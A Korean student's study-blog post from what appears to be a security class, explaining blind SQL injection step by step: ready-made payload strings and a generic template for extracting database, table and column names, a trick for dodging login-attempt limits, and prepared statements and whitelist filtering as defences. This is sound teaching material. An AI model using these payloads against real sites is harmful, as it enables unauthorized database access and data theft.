5주차 수업

Peroro·2023년 4월 27일
0
post-custom-banner

Blind SQLi

  • Blind SQLi: SQL문의 참과 거짓의 조건으로 데이터를 추출하는 기법
  • 공격 위치?
  • DB 결과가 화면에 안나오는 곳.
  • Error based X
  • ALL 모든 곳에서 가능 -> 대신 효율적이지 않음
  • 원리 :참과 거짓 조건에 따라 응답이 다름
    -> 데이터를 추출하는거라면서 참과 거짓이 다른 걸 어떻게?
    -> 어떻게든 다르면 됨.
    -> 그 미묘한 차이를 찾아야 함. ex) 데이터 정렬 순서.

결과가 나왔다는 것은 SQL injection이 가능함을 말해줌

질의문을 계속 날려서 공격함.(스무고개)


필요 지식 문법

(1) limit

  • limit 0, 1(행, 가져올 갯수)

(2) substring

  • 글자를 자르는 함수
  • substring('test', 1, 1) => t
  • substring('test', 2, 1) => e
  • substring('test', a, b) a번째에서 b
  • substring((sql), 1, 1)

(3) ASCII code

  • (33 ~ 126)

(4) 이진 탐색 알고리즘

  • 범위를 줄여 가며 탐색하는 알고리즘.
  • 예를 들어 0~100부터 범위가 주어졌다면 절반에 해당하는 값인 50과 비교해 큰지 작은지 비교한다.
  • 50보다 크다면 50~100, 작다면 0~50으로 비교한다.

step 1. SQLi 확인!

over%' and '1%' = '1

step 2. blind sqli

over%' and (1=1) and '1%' = '1

step 3. (select ~)

over%' and ('test'='test') and '1%' = '1

over%' and ((select 'test')='test') and '1%' = '1

step 4. 공격 포멧 만들기

  • ascii(): 문자를 ASCII 숫자로 바꿔주는 함수.
over%' and (ascii('t') > 0) and '1%' = '1

over%' and (ascii(substring(('test'), 1, 1)) > 0) and '1%' = '1

over%' and (ascii(substring((select 'test'), 1, 1)) > 0) and '1%' = '1
최종 form: over%' and (ascii(substring((SQL), 1, 1)) > 0) and '1%' = '1 //SQL에 원하는 SQL문을 넣으면 된다.

step 5. DB 이름 추출

select database()

over%' and (ascii(substring((select database()), 1, 1)) > 0) and '1%' = '1

step 6. table

select table_name from information_schema.tables 
where tables_schema = 'DB명'

over%' and (ascii(substring((select table_name 
from information_schema.tables 
where table_schema = 'segfault_sql' limit 0,1), 1, 1)) > 0) 
and '1%' = '1

step 6. column

select column_name from information_schema.columns 
where table_name = 'member'

over%' and (ascii(substring((select column_name 
from information_schema.columns 
where table_name = 'member'), 1, 1)) > 0) and '1%' = '1

step 7. data

  • 생략
  • Union SQLI, Error Based SQLI와 전체적인 과정이 비슷하다.

SQL 대응 방안

0. 원인이 뭘까?

- 서버에 준비되어 있는 SQL 질의문에 사용자의 입력이 그대로 들어가기 때문임.

1. PreparedStatement

  • 근본적으로 SQLI가 불가능
sql = "select ~~~~ ? ?" $_GET['name']
-> 미리 컴파일해서 ?에 넣음.
  • 성능도 더 빨라짐! DB가 좀더 빨라지게 하기위해서 만들어진건데 SQL 완전히 막을 수 있음.
  • PreparedStatement가 적용되어도 생길 수 있는 취약점.
  1. preparedstatement 잘못 쓴 경우.( 휴먼 에러)
  2. 옛날에 만든 코드(레거시). -> 겉에만 필터링 우회.
  3. preparedStatement 적용 안되는 부분이 있음.
    - order by 정렬
    - table 이름
    - column 이름 -> whiteList 기반 필터링(blackList 기반 필터링은 다음 시간에)
    필터링 : 극단적인 방법.

질문

1) 로그인 횟수 제한있다? -> 할 수 있다.

ID: admin' and (조건) and '1' = '1 
-> 아이디가 계속 바뀌기 때문에 카운트를 처음부터 하기 때문

2) 마법의 SQLI 코드는 없음. 서버마다 다르기 때문.

3) 대소문자를 구분 못하는 경우가 DB마다 있음.

4) sql injection이 안 먹히는 경우가 있을 수 있는데 공유기가 SQLI 공격을 받는 줄 알고 차단하는 경우가 있음.


느낀점

  • Union SQLi, Error based SQLi, Blind SQLi 숙지 필수다.
  • python으로 짤 필요가 있어보인다.
profile
오늘 공부한 것을 올리는 공간 / 일주일에 글 3개 / 블로그 이전 : https://perorochan321.tistory.com/
post-custom-banner

0개의 댓글